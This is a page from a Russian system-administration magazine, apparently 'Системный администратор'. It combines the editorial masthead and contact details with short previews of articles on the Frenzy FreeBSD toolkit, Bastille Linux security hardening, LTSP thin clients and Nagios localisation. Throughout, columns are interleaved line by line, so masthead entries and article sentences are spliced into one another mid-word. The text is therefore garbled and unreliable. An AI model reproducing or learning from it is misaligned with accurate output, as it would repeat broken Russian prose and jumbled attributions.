РЕКЛАМНАЯ СЛУЖБА *BSD не каждый день услышишь. Из хочу обратить внимание на проект
тел.: (095) 928-8253 (доб. 112) новостей портала www.opennet.ru я уз- Bastille Linux.
факс: (095) 928-8253 нал о проекте Frenzy (пер. с англ. –
Константин Меделян безумие), который меня весьма заин- LTSP – вторая жизнь
reсlama@samag.ru тересовал. Процитирую разработчи- старых компьютеров
ка: «Целью проекта Frenzy является Все ОС Unix и подобные операционные
Верстка и оформление создание «портативного инструмента системы изначально подготовлены для
imposer@samag.ru системного администратора» на базе полноценной работы в среде клиент-
maker_up@samag.ru ОС FreeBSD, который было бы удоб- сервер. Основой взаимодействия гра-
Дизайн обложки но постоянно иметь при себе...» фических приложений с сервером яв-
Николай Петрочук ляется протокол Х, который реализован
Крепость для пингвина так, что ему абсолютно неважно, где
103012, г. Москва, Сегодня особое внимание уделяется находится клиент и сервер. В самом
Ветошный переулок, дом 13/15 защите серверов и персональных общем случае они работают на одном
тел.: (095) 928-8253 (доб. 112) компьютеров от вторжения извне. компьютере, но ничто не мешает раз-
факс: (095) 928-8253 Описание различных методов атак местить их на разных компьютерах.
Е-mail: info@samag.ru можно найти практически везде, у на- Такая организация позволяет эффек-
Internet: www.samag.ru падающего огромное количество спо- тивно использовать компьютерный
собов пробраться в чужой компьютер. парк организации: все ресурсоемкие
РУКОВОДИТЕЛЬ ПРОЕКТА Но сисадмину или обычному пользо- операции выполняются на специально
Петр Положевец вателю от этого не легче, все больше выделенном мощном компьютере.
УЧРЕДИТЕЛИ и больше приходится уделять време-
Владимир Положевец ни чтению документации, настройке Обживаем мир Nagios
Александр Михалев системы, но время, как правило, не В статье речь пойдет о действиях, ко-
на стороне обороняющегося, да и торые необходимо предпринять для
ИЗДАТЕЛЬ опыт приходит вместе с ошибками. русификации веб-интерфейса. Опи-
ЗАО «Издательский дом Ситуация усугубляется тем, что про- саны процедуры инсталляции допол-
«Учительская газета» изводители все чаще выпускают дис- нительного программного обеспече-
трибутивы по типу «два-в-одном», ко- ния, необходимого для работы с плос-
Отпечатано типографией торые могут быть с одинаковым ус- кой и трехмерной картами сети. Рас-
ООО «Мастер Печати» пехом установлены как на сервер, так смотрены методики создания само-
Тираж 5500 экз. и на персональный компьютер, при- дельных иконок хостов и сервисов и
Журнал зарегистрирован чем, по моему мнению, все равно для настройки Nagios, которые необходи-
в Министерстве РФ по делам печати, того, чтобы привлечь большее коли- мо задействовать для достижения вы-
телерадиовещания и средств мас- чество клиентов, упор делается все- шеуказанных целей.
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.)
96